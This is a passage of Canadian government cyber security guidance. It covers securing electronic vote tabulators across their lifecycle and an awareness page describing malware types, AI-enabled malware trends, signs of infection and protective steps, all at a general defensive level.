should maintain access records for each device throughout its lifecycle, from acquisition to decommissioning.</p> <h4>Monitor systems and maintain strong chain of custody records</h4> <p>Maintaining chain of custody records plays a significant role in ensuring the physical and logical integrity of the vote tabulators. Elections administrators should implement rigorous chain of custody practices to prevent tampering and other malicious device alterations. The following are some ways of protecting vote tabulators and the data contained therein.</p> <ul><li>Record all vote tabulator devices movement and access throughout their lifecycles</li> <li>Use tamper-evident seals</li> <li>Transport vote tabulators in secure containers to and from polling centres</li> <li>Document and verify chain of custody when transporting vote tabulators</li> <li>Protect and authenticate all physical access to vote tabulation equipment</li> <li>Review security monitoring controls before, during, and after elections to validate their effectiveness</li> <li>Decommission devices when chain of custody records cannot be securely validated</li> </ul><p>Device decommissioning procedures must ensure devices are cryptographically sanitized before disposal or destruction. Use only approved sanitization methods appropriate for the device media and use-case. Some sanitization methods are not effective or suitable on some media types. For example, solid-state drives (SSD) require at least a double overwrite pass and a secure erasure (SE) to achieve the sanitization objectives. For more information on Cyber Centre recommended guidance, refer to <a href="/en/guidance/it-media-sanitization-itsp40006">IT media sanitization (ITSP.40.006)</a>.</p> <h3 id="5.2">Lifecycle security</h3> <p>Democratic processes may be vulnerable to planned, persistent threats because of system lifecycle risks. In the context of information technology (IT) security risk management, “lifecycle” refers to the design/development, acquisition, integration/installation, operation, monitoring, maintenance, and disposal of <abbr title="information technology">IT</abbr> assets which, for the purposes of this guidance, include electronic vote tabulators. Examples of lifecycle risks to electronic vote tabulators include procuring them through unsecure supply chains or having them designed or developed by unverified or untrusted manufacturers. Therefore, you should keep security in mind at every stage of a vote tabulator’s lifecycle and address and mitigate potential risks that could allow threat actors to compromise the integrity of an election.</p> <h4>Acquire devices through trusted supply chains</h4> <p>Vote tabulation systems typically contain millions of individual micro-components, as well as component sub-systems such as an image scanner unit, a paper ballot verification unit, device firmware or software, power systems, data storage units, and others. Threat actors can infiltrate supply chains to compromise the security of these devices and systems. The complexity of modern system lifecycles makes it difficult for commercially available systems to guarantee protection against supply chain embedded compromises. As a result, organizations should assume such compromises may exist on their device. We recommend adopting strategies to assess and mitigate supply chain-related risks by following the <a href="/en/guidance/cyber-supply-chain-approach-assessing-risk-itsap10070">Cyber Centre’s approach to assessing cyber supply chain risks</a>.</p> <p>Elections officials should source vote tabulators and system components through trusted supply chains and physically inspect the devices before and after acquiring them, as well as before, during and after elections. Vote tabulators should have tamper-evident seals, tape, or security labelling to aid the detection of unauthorized physical access or unauthorized changes to hardware or physical system components.</p> <p>Elections administrators should establish secure procurement procedures to limit the potential for threat actors to infiltrate supply chains. The following are some actions that could ensure the security of the vote tabulator infrastructure supply chain:</p> <ul><li>Establish a supply chain risk management (SCRM) program to assess risks associated with procurement processes <ul><li>Assess and vet all technology suppliers to ensure underlying processes and relationships are secure</li> <li>Periodically assess suppliers and their cyber security practices</li> </ul></li> <li>Ensure that only trusted and vetted supplier personnel have access to sensitive electoral and system data throughout the system development lifecycle</li> <li>Collaborate with technology vendors to ensure verification processes are in place <ul><li>Ensure that the components of vote tabulators are genuine and have not been compromised through third-party relationships</li> <li>Specifically, work with vote tabulator manufacturers to implement tools to validate the integrity of hardware, firmware, and software running on tabulation devices</li> </ul></li> <li>Election agencies can also request information on detailed Hardware Bill of Materials (HBOM) or Software Bill of Materials (SBOM) to adequately track vulnerability risks associated with hardware and software components</li> </ul><p>For more information on supply chain cyber security, read <a href="/en/guidance/supply-chain-threats-and-commercial-espionage">Supply chain threats and commercial espionage</a> and <a href="/en/guidance/supply-chain-security-small-and-medium-sized-organizations-itsap00070">Supply chain security for small and medium-sized organizations (ITSAP.00.070)</a>.</p> <h3 id="5.3">Continuous risk assessment</h3> <p>Electoral management authorities should conduct a comprehensive risk analysis of the use of vote tabulators and understand the potential impact on the security of the entire electoral process. Assessing the risks of using vote tabulators should not be done in isolation.</p> <h4>Ascertain the risks associated with using vote tabulation systems</h4> <p><abbr title="electoral management bodies">EMBs</abbr> should consider technology in elections from a risk-management approach. While vote tabulators may offer opportunities for improving elections operations, it is important to understand the associated risks, which then may be mitigated, accepted, or avoided. Transferring the risk is not acceptable, as a compromise of a democratic process can have substantial reputational impacts. <abbr title="electoral management bodies">EMBs</abbr> should also avoid using vote tabulators if they are unprepared or unwilling to accept the associated risks. For more information on evaluating and managing risk, please consult our guidance <a href="/en/guidance/cyber-security-privacy-risk-management/itsp10033">Cyber security and privacy risk management: A lifecycle approach</a> and Security risk assessment for online voting systems supporting democratic processes (ITSM.10.103)</p> <h3 id="5.4">Protect your data</h3> <p>Electronic vote tabulators process, create, and store ballot data. Data is a critical asset for any business process, and especially for democratic processes that rely on digital systems. Therefore, you should have security mechanisms in place to protect the confidentiality, integrity, and availability of all forms of data, whether it is stored on the tabulation device or is in transit for processing.</p> <h4>Establish a holistic data security strategy</h4> <p>A holistic election data security strategy should be established to govern and secure electoral data throughout its lifecycle. This strategy should include data policies, acceptable handling procedures, and guidelines for managing data on vote tabulators. Data security policies may include recommendations on storage media types, secure data processing mechanisms, cryptographic standards, storage data formats, and data encryption. You may also consider performing a data security assessment to identify all data flows, paths, inputs, and outputs to and from the vote tabulator. However, there is no fully secure way to connect vote tabulators to electronic networks. Your data security strategy should address how to secure vote tabulator data throughout its lifecycle, from creation to destruction. For example, it should address how you plan to secure physical and digital ballots, restrict and manage access, enforce data encryption, and ensure compliance with legal requirements wherever your data may reside.</p> <h4>Appropriately classify data</h4> <p>Data classification represents a crucial component upon which many other security activities rely, especially when identifying appropriate security control mechanisms to protect the data. Data on vote tabulators typically exists at different classification levels and the choice of safeguards or security controls should take this into account. The vote tabulation system should be designed based on the highest classification of data or system components. For example, vote tabulators may be required to process cryptographic keys and data validation certificates may be used to encrypt and validate the integrity of election data.</p> <p>Cryptographic keys represent highly sensitive data and may necessitate higher data classification. The vote tabulation system must be designed to implement security controls at the highest level determined. For more information on data classification assessments, read our publication <a href="/en/guidance/cyber-security-privacy-risk-management/itsp10033">Cyber security and privacy risk management: Security and privacy controls and assurance activities catalogue (ITSP.10.033)</a>.</p> <p>Classifying data properly, together with implementing matching secure handling controls, can reduce the risk of a data compromise. Elections authorities should put processes in place to ensure that assets are only accessible to users on a ‘need to know’ basis and that electoral systems are only accessed using devices with the appropriate security authorization. Furthermore, only authorized devices should be used for processing and disseminating of elections-related data.</p> <h4>Protect data with cryptographic controls</h4> <p>Vote tabulator data should be protected with cryptographic mechanisms whether it is at rest or in transit (including on portable devices). Ballot data and vote counts should be secured against unauthorized disclosure and integrity attacks prior before and after they are officially released through authorized channels. Encryption can help protect data from unauthorized disclosure and modification. You should identify where the data resides at various points and then ensure you apply appropriate security controls to mitigate the risk of unauthorized use or disclosure. We recommend using only approved cryptographic algorithms and protocols. For more information on recommended cryptographic algorithms, read <a href="/en/guidance/cryptographic-algorithms-unclassified-protected-protected-b-information-itsp40111">Guidance on cryptographic algorithms for Unclassified, Protected A, and Protected B information (ITSP.40.111</a>). Maintaining a secure cryptographic key management system is important. Ensure you securely manage when, how, and where your encryption keys are created, stored, and destroyed. Implement a secure backup procedure for encryption keys to enable data recovery.</p> <h4>Consider data privacy protections</h4> <p>In Canada, election data is subject to privacy laws, including the <a href="https://laws-lois.justice.gc.ca/eng/acts/P-21/"><em>Privacy Act</em></a>. These laws mandate that a minimum set of security controls, such as data encryption and access management controls, be implemented to protect information about the voting public and ballots. We recommend you implement appropriate data privacy protections for ballots and voters’ information. The <a href="https://laws-lois.justice.gc.ca/eng/acts/E-2.01/index.html"><em>Canada Elections Act</em></a> requires Elections Canada to share voting data, including elections results, with political parties and provincial governments. Vote tabulators must be evaluated to ascertain compliance and alignment with ballot secrecy and privacy laws. Data residency considerations should also be evaluated, as election laws may require data (in-transit or at rest) to reside within specific geographical boundaries.</p> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h3 id="5.5">Network isolation safeguards</h3> <p>Due to the threat environment and the associated risks posed by state-sponsored threat activity, we recommend that you do not connect vote tabulators to any network at any time. Prior to elections, vote tabulators should be configured without any network connectivity, including Bluetooth and Wi-Fi, and should never be connected to the Internet at any point of their lifecycle. Data should be transferred to and from vote tabulators using non-network procedures, such as trusted portable storage devices or paper-based procedures.</p> <p>Strict network isolation (airgaps) is the most effective means of mitigating pre-existing compromises that may have been introduced through lifecycle attacks. Network isolation greatly increases the amount of effort required to gain remote command and control of a compromised system and forces an adversary to activate or control the compromised vote tabulator or related system through an alternative data channel, such as acoustic, or through procedural means, such using a compromised systems administrator. Certain serious attacks, like “logic bombs” that autonomously activate based on pre-set conditions, could remain on the system even without network connectivity, but the scope and sophistication of the possible attacks is much smaller without network command and control.</p> <h4>Establish strict network defences</h4> <p>Although deploying vote tabulators on a network is not recommended, elections administrators may still choose to deploy these systems on a network. In such cases, the network infrastructure supporting vote tabulators should be protected against interception, unauthorized data disclosure, modification, and denial of service attacks. You should implement measures to protect against ransomware attacks that may target the tabulation systems. You should track vulnerabilities and fully patch all devices before deploying them for elections. The following are some actions that you can take to implement a defence-in-depth or layered defensive approach to protecting your networks from threat actors.</p> <ul><li>Use firewalls or network zoning protections to restrict network access to sensitive assets on the network</li> <li>Consider deploying network threat detection/protection systems to mitigate network-based attacks</li> <li>Update network devices regularly to minimize exposure to vulnerabilities</li> <li>Harden network devices by disabling unnecessary services, ports, protocols and applications</li> <li>Avoid connecting vote tabulators to public or untrusted networks</li> <li>Disable Internet connectivity on vote tabulators or interconnected systems</li> <li>Implement protection against threats associated with third-party (vendors or partners) network connectivity</li> </ul><h3 id="5.6">Secure access controls</h3> <p>When designing and building an electronic tabulation system, it is essential to properly manage user and administrative privileges, isolate sensitive functions, and incorporate security engineering principles. User access rights should be restricted to only those required to perform assigned tasks. System functions should implement the principle of least privilege, which only gives users the set of privileges that is essential for them to perform authorized tasks. The following are some recommended actions you can take to implement secure access controls within vote tabulation systems.</p> <ul><li>Verify that all personnel with administrative access to the system at any point in the lifecycle meet the necessary personnel security requirements <ul><li>For example, some electoral systems may require that administrative access be given only to Canadian citizens with a valid security clearance</li> </ul></li> <li>Maintain formal security vetting for all personnel with administrative access throughout the lifecycle <ul><li>Require personnel security screening and background checks for personnel requiring privileged or administrative access to the election and voting infrastructure; software developers, hardware assembly technicians, program managers, and election administrators responsible for administering federal elections will require a security clearance to support the voting infrastructure</li> <li>Ensure administrative accounts are used exclusively to perform administrative tasks and that these privileges are regularly audited</li> </ul></li> <li>Employ two-person control for all interactions with vote tabulators during their lifecycle, except for the moment when individual voters cast ballots</li> <li>Do not share access credentials; ensure that each user has unique credentials to access vote tabulation systems</li> <li>Enforce the use of passphrases or strong passwords on voting systems</li> <li>Use strong authentication protocols and never store passwords in plain text</li> <li>Protect authentication parameters with modern hashing algorithms to provide resilience against cryptographic attacks</li> <li>Require multi-factor authentication (MFA) mechanisms for administrative access to vote tabulation systems</li> </ul><p>For more information on account and access management, read <a href="/en/guidance/best-practices-passphrases-and-passwords-itsap30032">Best practices for passphrases and passwords (ITSAP.30.032)</a>, <a href="/en/guidance/secure-your-accounts-and-devices-multi-factor-authentication-itsap30030">Secure your accounts and devices with multi-factor authentication (ITSAP.30.030)</a>, and <a href="/en/guidance/top-10-it-security-actions-no3-managing-controlling-administrative-privileges-itsm10094">Top 10 <abbr title="information technology">IT</abbr> security actions: No. 3 Managing and controlling administrative privileges (ITSM.10.094)</a>.</p> <h4>Lock down devices</h4> <p>Elections administrators should ensure that the configuration and security settings shipped with vote tabulators are updated to align with organizational policies. Elections administrators should also consider taking the following actions to lock down vote tabulators:</p> <ul><li>Restrict the services enabled on the systems and devices, and prevent users from creating or changing system settings or configurations <ul><li>Only enable services that are required for performing intended tasks</li> </ul></li> <li>Disconnect external devices, such as printers, fax systems, and computing devices, from voting tabulators when they are not in use</li> <li>Restrict access to any existing auxiliary or data ports <ul><li>If there is an operational need to enable these ports, it should be evaluated through a risk assessment review process</li> </ul></li> </ul><h3 id="5.7">Validate and authenticate devices</h3> <p>It is important to implement robust authentication mechanisms to ensure that vote tabulation devices remain trusted. Consider mechanisms to continuously validate and authenticate the integrity of vote tabulators through their lifecycle. For example, confirm the validity of trusted public key infrastructure (PKI) digital signatures on software packages. Elections administrators should consider software logic and accuracy testing to validate that the vote tabulators operate as expected. Using device cryptographic certificates can also help with physical device certification.</p> <h3 id="5.8">Patches and system updates</h3> <p>It is essential to undertake regular patch management to protect the vote tabulator against known and unknown threats. You should also implement the following measures:</p> <ul><li>Ensure device firmware and software are kept up to date</li> <li>Apply device patches and software updates regularly</li> <li>Use cryptographic mechanisms to verify firmware and software before applying updates</li> <li>Validate that update deployment cycles do not operationally impact scheduled election events</li> </ul><h3 id="5.9">Secure application development</h3> <p>Elections administrators may require software application development or procurement to meet specific legal or bylaw requirements. Security considerations should be evaluated throughout all phases of the development or procurement process. Regardless of the software application acquisition model selected, security requirements should be clearly defined and documented to assess functional and security objectives. Threat modeling or threat assessment techniques can also be used to identify and address potential threats associated with software applications to be deployed on the vote tabulator. Modern software stacks are so complex that lifecycle compromises should be assumed. Elections agencies can reduce their attack surface by identifying and managing risks early during the application design stage and architect to adequately mitigate those risks.</p> <h4>Software application testing</h4> <p>Static and dynamic testing approaches may be used to test the security of system software. Static testing involves source and binary code testing, while dynamic testing involves testing the application in functional use. Your software assurance process should allow you to evaluate applications in a test environment. Adopt functional and penetration testing controls to validate security objectives and address all identified vulnerabilities. Do not assume that an application has been vetted; instead, conduct your assessment in line with your security objectives. Leverage formal testing standards such as those defined by <a href="https://www.cyber.gc.ca/en/tools-services/common-criteria">Common Criteria</a>, <a href="https://owasp.org/www-project-application-security-verification-standard/">OWASP Application Security Verification Standard (ASVS)</a>, and <a href="https://www.iso.org/obp/ui/en/#iso:std:iso-iec:27034:-1:ed-1:v1:en">ISO/IEC 27034-1 Information technology — Security techniques ― Application security</a>.</p> <h3 id="5.10">Audit log monitoring</h3> <p>Enable event and log collection capabilities on the vote tabulator to assist with incident investigations. Activity events should be logged in protected storage, like write-once media, and retention of log data should adhere to legal and privacy regulations. Make sure to coordinate logging activities with incident response and forensic objectives to ensure that the activity logs collected contain the information needed to investigate incidents.</p> <h3 id="5.11">Business continuity</h3> <p>You should establish and test business continuity plans and procedures to ensure your election activities can recover from adverse events. Business planning should identify which data must be backed up and establish testing and recovery procedures for your back-ups. In addition, you should consider which combination of onsite or offsite back-up options best meet your needs. Back-ups require the same security protections as actual devices, including physical security, network isolation, controlled access, and two-person-control.</p> <p>For more information on business continuity planning, read <a href="/en/guidance/developing-your-business-continuity-plan-itsap10005">Developing your business continuity plan (ITSAP.10.005).</a> For more information on back-ups, read <a href="/en/guidance/tips-backing-your-information-itsap40002">Tips for backing up your information (ITSAP.40.002)</a>.</p> <p>For live elections, ensure you have contingency procedures and can quickly recover from unplanned events such as vote tabulator failures or theft. You should secure access to and encrypt sensitive data back-ups. You should also back up encryption keys, security certificates and credentials to facilitate recovery when required and disconnect external storage when not in use to minimize the likelihood that back-up data will be corrupted.</p> <h4>Retain paper backups</h4> <p>When designing elections processes that use vote tabulators, it is important that administrators consider resilient solutions to protect against disruption attacks and electronic manipulation. While keeping electronic data back-ups is a critical step in enabling quick recovery from unplanned incidents, paper records or copies of voter ballots and tabulated results should be maintained. If a catastrophic incident impacts the functioning of electoral systems, paper records will ensure the democratic process can proceed.</p> <h4>Plan for incidents and recovery</h4> <p>Security incidents may still occur even if you implement the best cyber security. Elections administrators should be prepared to deal with and recover from cyber security compromises. Have an incident recovery plan in place which outlines roles and responsibilities of all stakeholders. Test your plan regularly to assure its effectiveness. Electoral processes that rely on electronic systems should have manual and off-the-grid back-up measures that can be deployed should electronic systems fail.</p> <p>For more information on incident response and recovery planning, read <a href="/en/guidance/developing-your-incident-response-plan-itsap40003">Developing your incident response plan (ITSAP.40.003)</a> and <a href="/en/guidance/developing-your-it-recovery-plan-itsap40004">Developing your <abbr title="information technology">IT</abbr> recovery plan (ITSAP.40.002)</a>.</p> <h3 id="5.12">Educate users</h3> <p>Educating elections staff and volunteers about cyber security risks is critical for maintaining the safe operation of vote tabulators. Frontline elections staff and volunteers should be trained on how their actions could help facilitate or thwart a cyber security attack. Ensure elections staff receive regular training to understand the threat environment. Training and awareness programs should target all users of electoral systems. You should also periodically evaluate the effectiveness of your training programs and ensure the content is aligned with threat assessment feedback and addresses key threat issues.</p> <p>For more information on tailored cyber security training, read <a href="https://www.cyber.gc.ca/en/guidance/top-10-it-security-actions-6-provide-tailored-cyber-security-training-itsm10093">Top 10 <abbr title="information technology">IT</abbr> security actions: No. 6 Provide tailored cyber security training (ITSM.10.093)</a>.</p> <h4>Personnel security</h4> <p>An effective security screening process for your staff and volunteers is crucial. Implement a personnel and volunteer screening process to ascertain and validate the integrity of people recruited to work as poll staff or elections officials. Conduct security background checks before employees and volunteers are hired. Ensure the screening process continuously assesses the suitability of employees or volunteers even as they change roles or positions.</p> <p>To limit the possibility of foreign legal compulsion, only Canadian citizens with the appropriate security clearance should be granted administrative access to the vote tabulation system during any phase of its system lifecycle.</p> <h3 id="5.13">Security control effectiveness</h3> <p>Assessing and testing the effectiveness of security controls deployed on vote tabulators is an important step in ensuring systems are functioning as expected and will be resilient against real-world attacks. Elections administrators can leverage controlled testing strategies such as procedural or physical penetration testing and threat modelling techniques. In addition, the following are some other measures that can help ensure that security controls remain effective:</p> <ul><li>Automating assessment measures to continuously validate that operational, technical, and management control measures are functioning as expected</li> <li>Identifying relevant security, operational and performance metrics that should be evaluated</li> <li>Assessing the cyber resiliency capabilities of the system to withstand disruptive events such as a logic bomb</li> </ul><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h2 id="6">Conclusion</h2> <p>Vote tabulation devices provide electronic capabilities that can enable and enhance the democratic process and increase efficiency. However, potential threats to vote tabulators, such as disruptions or altered data, can negatively impact trust in the democratic process. The applications and deployment architecture of these systems must therefore be carefully considered. To lessen the impact of potential attacks when deploying and using vote tabulators, elections management bodies should adopt a rigorous focus on security, including appropriate control protections.</p> <p>Elections administrators must adopt a data-centric strategy which implements security controls across the data path to secure voting systems. They should ensure that vote tabulators used during democratic elections are validated and that appropriate security protections are in place. Elections administrators should further ensure that the integrity of software, firmware, and hardware deployed in tabulation devices is validated, and should continuously protect these devices and systems throughout their entire lifecycle.</p> <hr /><h2>Effective date</h2> <p>This publication takes effect on August 6, 2026.</p> <p>This is an <span class="text-uppercase">UNCLASSIFIED</span> publication that has been issued under the authority of the Head of the Canadian Centre for Cyber Security (Cyber Centre). For more information, contact the Cyber Centre:</p> <ul><li>by email: <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a></li> <li>by phone: <a href="tel:+1-613-949-7048">613-949-7048</a> or <a href="tel:+1-833-292-3788">1-833-CYBER-88</a></li> </ul></div> </div> </div> </div> </div> </article>

Discover how CSE’s Frontier AI Lab is exploring the ways artificial intelligence can strengthen cyber defence, beginning with detection engineering.

<article data-history-node-id="705" about="/en/guidance/protect-your-organization-malware-itsap00057" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="row "> <div class="col-md-4 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>August 2026</strong></p> </div> <div class="col-md-4 hidden-xs hidden-sm"> <p class="text-center"><strong>Awareness series</strong></p> </div> <div class="col-md-4 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSAP.00.057</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>August 2026 | Awareness series</strong></p> </div> </div> <div class="clearfix"> </div> <p>Malware, also known as malicious software, is used by threat actors to compromise networks, systems and devices. When malware infects an organization, threat actors may be able to gain access to sensitive information, monitor activity and disrupt operations.</p> <p>This publication outlines common types of malware, the warning signs of an infected device and the steps to take when a device is compromised. It also provides practical tips to help protect your organization from future threats.</p> <section><h2>On this page</h2> <ul><li><a href="#1">How malware is introduced</a></li> <li><a href="#2">Malware types and behaviour</a></li> <li><a href="#3">How artificial intelligence is transforming malware</a></li> <li><a href="#4">Signs of an infected device</a></li> <li><a href="#5">Steps to address infected devices</a></li> <li><a href="#6">Tips to protect against malware</a></li> <li><a href="#7">Learn more</a></li> </ul></section><h2 id="1">How malware is introduced</h2> <p>Malware can enter a network, system or device through vulnerabilities or risky actions. The following examples highlight common ways in which users might inadvertently introduce malware into systems and devices.</p> <h3>Downloads and files</h3> <ul><li>Opening malicious email attachments</li> <li>Downloading software, apps or updates from untrusted sources</li> <li>Downloading or sharing files through peer-to-peer or unofficial file-sharing platforms</li> <li>Connecting unverified or unscanned removable media (for example, USBs or external drives)</li> </ul><h3>Browsing and access</h3> <ul><li>Clicking deceptive pop-ups, ads or fake warnings</li> <li>Installing unauthorized browser extensions or toolbars</li> <li>Visiting unsafe or compromised websites</li> <li>Using unsecured or untrusted Wi-Fi networks</li> </ul><h3>Device and account security</h3> <ul><li>Using outdated, unsupported or unpatched software or devices</li> <li>Using weak, default or reused passwords</li> </ul><h2 id="2">Malware types and behaviour</h2> <p>Malware appears in many forms, each designed to exploit systems in different ways. Understanding the different types of malware can help you detect malicious activity early and respond with confidence. Malware can be described by how it spreads and what it does once it is running. A single attack may involve more than one method and more than one capability.</p> <h3>How malware spreads</h3> <p>Malware can spread through different techniques that allow it to install itself and move between systems or networks. The types below describe how malware gains access and propagates.</p> <ul><li><strong>Trojan horse:</strong> disguises itself as harmless software to persuade users to install it, enabling unauthorized access or harmful actions</li> <li><strong>Virus:</strong> infects files and spreads to other systems through user actions, such as opening or sharing infected files</li> <li><strong>Worm:</strong> executes independently and self-replicates, usually through network connections, to cause damage such as deleting files, sending unauthorized emails or taking up bandwidth</li> </ul><h3>What malware can do</h3> <p>Once malware is running, it may perform a range of harmful actions that affect systems, data or users. The malware types below describe the impact or effects of malware on infected devices.</p> <ul><li><strong>Adware:</strong> tracks Internet activity to deliver targeted pop-up advertisements <ul><li>it is often installed without user consent through bundled software or malicious websites</li> <li>it may redirect browsing traffic or collect user data</li> </ul></li> <li><strong>Browser hijacker:</strong> manipulates browser settings to redirect users to unwanted websites or ads, often changing the homepage, modifying search defaults or adding unauthorized toolbars</li> <li><strong>Botnet:</strong> connects a network of infected devices (called "bots" or "zombies")</li> <li><strong>Cryptojacking:</strong> hijacks a device’s processing power to mine cryptocurrency without the owner’s knowledge, often causing significant slowdowns and overheating</li> <li><strong>Logic bomb:</strong> triggers malicious actions on a system when specific conditions are met, such as a particular date, time or user action, and often remains hidden until activated</li> <li><strong>Rootkit:</strong> grants hidden access to networks, systems or devices by masking itself as a legitimate operating system (OS) component. <ul><li>it frequently embeds itself deep within OS components or firmware to avoid detection</li> </ul></li> <li><strong>Ransomware:</strong> denies access to data or systems, typically by encrypting data and withholding the decryption keys until payment is made to the threat actor</li> <li><strong>Spyware:</strong> designed to monitor user activity and collect sensitive information, including browsing data, login details or personal information. Common types of spyware include: <ul><li><strong>information stealers:</strong> extract sensitive data from a device, including user credentials, browser history, browser session cookies and tokens, autofill information such as saved payment card details, communication logs, documents, system information, and even screenshots</li> <li><strong>keyloggers:</strong> capture and record keystrokes so threat actors can obtain sensitive information such as passwords, personal data or financial information <ul><li>they often operate within the OS or within keyboard input software to collect this information discreetly</li> </ul></li> </ul></li> <li><strong><abbr title="virtual private network">VPN</abbr>filter: </strong>compromises routers to allow threat actors to intercept traffic, harvest information, exploit connected systems and disrupt or manipulate network traffic</li> <li><strong>Wiper:</strong> destroys data by permanently erasing, overwriting or corrupting files and system components, often rendering devices inoperable and leaving little or no chance of recovery</li> </ul><h2 id="3">How artificial intelligence is transforming malware</h2> <p>Threat actors are taking advantage of artificial intelligence (AI) to make common types of malware more effective. The following sections outline the three ways <abbr title="artificial intelligence">AI</abbr> is transforming malware.</p> <h3>Method 1: <abbr title="artificial intelligence">AI</abbr>-assisted malware</h3> <p>This form of malware relies on <abbr title="artificial intelligence">AI</abbr> tools that operate outside the malware itself to assist in how attacks are developed or delivered. This can make malicious activity faster, more targeted and more convincing.</p> <p>For example, threat actors may use <abbr title="artificial intelligence">AI</abbr> to generate messages, craft malicious code, automated scanning of public information to identify valuable targets and craft tailored social engineering content designed to increase infection rates.</p> <p>Entry points include phishing emails with malicious links or attachments, downloads from compromised websites and the use of stolen or weak credentials to log into systems.</p> <h3>Method 2: <abbr title="artificial intelligence">AI</abbr>-augmented malware</h3> <p>This form of malware uses <abbr title="artificial intelligence">AI</abbr> to strengthen traditional malicious functions during execution to enhance stealth, speed or decision making. <abbr title="artificial intelligence">AI</abbr> enhances these actions but does not completely control or replace the underlying malware processes.</p> <p>For example, threat actors may use <abbr title="artificial intelligence">AI</abbr> to choose less visible routes for lateral movement, shape data exfiltration to resemble routine traffic, prioritize targets based on observed activity or automatically fine-tune tactics to avoid malware detection tools.</p> <p>Entry points include phishing emails with malicious links or attachments, exploitation of unpatched systems and misuse of remote access, which the malware then builds on using <abbr title="artificial intelligence">AI</abbr> to improve how it spreads or hides.</p> <h3>Method 3: Embedded <abbr title="artificial intelligence">AI</abbr> malware</h3> <p>This form of malware is designed with <abbr title="artificial intelligence">AI</abbr> embedded into the payload so it can analyze the system it infects and adjust its behaviour in real time. This allows it to identify targets, respond to security controls and choose actions that maximize its effectiveness.</p> <p>For example, <abbr title="artificial intelligence">AI</abbr> may be used to select high-value files to steal, alter activity when security tools are detected, adjust execution timing based on user behaviour or learn from system conditions to refine future actions (for example, self-modifying code).</p> <p>Entry points include phishing emails with malicious links or attachments and vulnerable or misconfigured Internet-facing services that allow threat actors to place the malware on a device or system.</p> <h2 id="4">Signs of an infected device</h2> <p>Malware often disrupts devices in subtle ways before the damage becomes obvious. Staying aware of the following indicators can help you identify potential threats early and protect your information effectively.</p> <h3>Changes on your device</h3> <ul><li>Pop-up windows appearing on your device</li> <li>Homepage changes</li> <li>Browser redirects, new or unknown toolbars or unexpected icons</li> </ul><h3>Performance issues</h3> <ul><li>Slow computer performance</li> <li>Page or system crashes</li> <li>Unusual or excessive hard drive activity, especially when the system is idle</li> </ul><h3>Security or software changes</h3> <ul><li>Unknown programs running on your device</li> <li>Antivirus or malware protection software being disabled</li> <li>Security settings or administrative controls being locked or altered</li> <li>Files becoming inaccessible, encrypted or renamed</li> <li>Ransom notes or payment demands appearing on the device</li> </ul><h3>Unusual account activity</h3> <ul><li>Spam emails or messages sent from your account</li> <li>Unauthorized password changes or unusual login activity</li> </ul><h3>Network and device behaviour</h3> <ul><li>High network traffic when the device is idle</li> <li>Overheating, rapid battery drain or unusual data use on your mobile device</li> </ul><h2 id="5">Steps to address infected devices</h2> <p>When a device becomes infected with malware, quick action is essential to limit damage, prevent further spread and protect sensitive information. The following steps outline current best practices to help you contain the threat, clean your device safely and restore it to a secure state.</p> <h3>Immediate actions</h3> <ul><li>Contact your information technology (IT) security service desk or <abbr title="information technology">IT</abbr> provider immediately</li> <li>Disconnect the infected device from all networks (for example, Wi-Fi, Ethernet, and mobile data)</li> <li>If malware appears to be active or spreading, power off the device to prevent further damage</li> <li>Refrain from using the infected device to sign into sensitive accounts, such as email, financial systems or administrative portals</li> </ul><h3>Containment and recovery</h3> <ul><li>Run antivirus scans offline when possible</li> <li>Restore data only from known, clean backups that were created before the infection</li> <li>Scan all backup files before restoring them to ensure they are free of malware <ul><li>Use trusted malware analysis tools, such as <a href="/en/tools-services/assemblyline">Assemblyline</a>, the Canadian Centre for Cyber Security’s malware detection and analysis platform, to help assess suspicious files before restoration</li> </ul></li> <li>Reset all passwords associated with the device, revoke active sign-in sessions and access tokens and re-enrol multi-factor authentication (MFA) to prevent misuse of stolen credentials</li> </ul><h3>Post-incident monitoring</h3> <ul><li>Reconnect the device to your network only after the <abbr title="operating system">OS</abbr> is reinstalled and all malware scans confirm the device is clean</li> <li>Continue monitoring the device for unusual behaviour, suspicious traffic or new alerts</li> <li>Perform regular antivirus scans to ensure no malware remains</li> </ul><h2 id="6">Tips to protect against malware</h2> <p>Staying safe online requires more than just good habits; it requires intentional and proactive cyber hygiene. Malware threats continue to evolve, targeting personal devices, corporate systems and everything in between. By following best practices such as our <a href="/en/guidance/top-10-it-security-actions">Top 10 <abbr title="information technology">IT</abbr> security actions</a> and using trusted protective tools, you can significantly reduce your risk of compromise. The following tips outline the most effective steps you can take to strengthen your defences and help keep your information, devices and accounts secure.</p> <h3>Authentication and identity security</h3> <ul><li>Enable passkeys or phishing-resistant MFA for all accounts, choosing authentication methods that align with the sensitivity of the account and the level of risk</li> <li>Use a password manager to generate and store long, unique passwords</li> <li>Limit user and administrator access to only what is required for their roles and regularly remove excess permissions</li> </ul><h3>Device and system hardening</h3> <ul><li>Install software, <abbr title="operating system">OS</abbr> and firmware updates immediately</li> <li>Use anti-virus, anti-malware and endpoint detection and response tools</li> <li>Use a firewall to block and restrict unauthorized network access</li> <li>Enable full-disk or file-based encryption</li> <li>Use host intrusion detection systems where supported</li> <li>Use application allowlisting so only authorized apps can run</li> <li>Turn off wireless features like Wi-Fi, Bluetooth, GPS and near-field communication when not in use</li> </ul><h3>Network and Internet safety</h3> <ul><li>Avoid public Wi-Fi or use a virtual private network when public 